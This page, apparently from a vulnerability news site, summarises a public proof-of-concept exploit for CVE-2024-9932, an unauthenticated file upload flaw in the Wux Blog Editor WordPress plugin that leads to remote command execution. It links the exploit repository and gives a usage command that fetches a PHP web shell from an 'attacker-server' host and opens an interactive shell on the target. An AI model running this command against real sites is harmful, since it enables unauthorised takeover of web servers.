> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# CVE-2024-9932: An unauthenticated arbitrary file upload vulnerability in the Wux Blog Editor WordPress plugin, leading to remote command execution (RCE)
- URL: https://darkwebinformer.com/cve-2024-9932-an-unauthenticated-arbitrary-file-upload-vulnerability-in-the-wux-blog-editor-wordpress-plugin-leading-to-remote-command-execution-rce/
- Published: 2026-01-27T20:04:44.000Z
- Updated: 2026-01-27T20:04:44.000Z
- Author: Dark Web Informer
- Tags: Vulnerabilities

---

GitHub: <https://github.com/JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2024-9932>

---

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2026/01/CVE-2024-9932-2.png)

This repository contains a proof-of-concept exploit for CVE-2024-9932, an unauthenticated arbitrary file upload vulnerability in the Wux Blog Editor WordPress plugin, leading to remote command execution (RCE).

## What the script does

[](https://github.com/JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2024-9932?tab=readme-ov-file#what-the-script-does)

The script abuses a vulnerable REST endpoint to upload a remote PHP payload without authentication. Once uploaded, it reconstructs the final file location, detects the target operating system, and provides an interactive remote shell for command execution.

## Usage

[](https://github.com/JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2024-9932?tab=readme-ov-file#usage)

```
python CVE-2024-9932.py --target http://target-wordpress-site --payload http://attacker-server/cmd.php --payload_name cmd.php

```

After execution, the script uploads the payload, confirms its accessibility, detects the OS, and drops into an interactive shell.

## Notes

[](https://github.com/JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2024-9932?tab=readme-ov-file#notes)

- No authentication required (pre-auth / 0-click).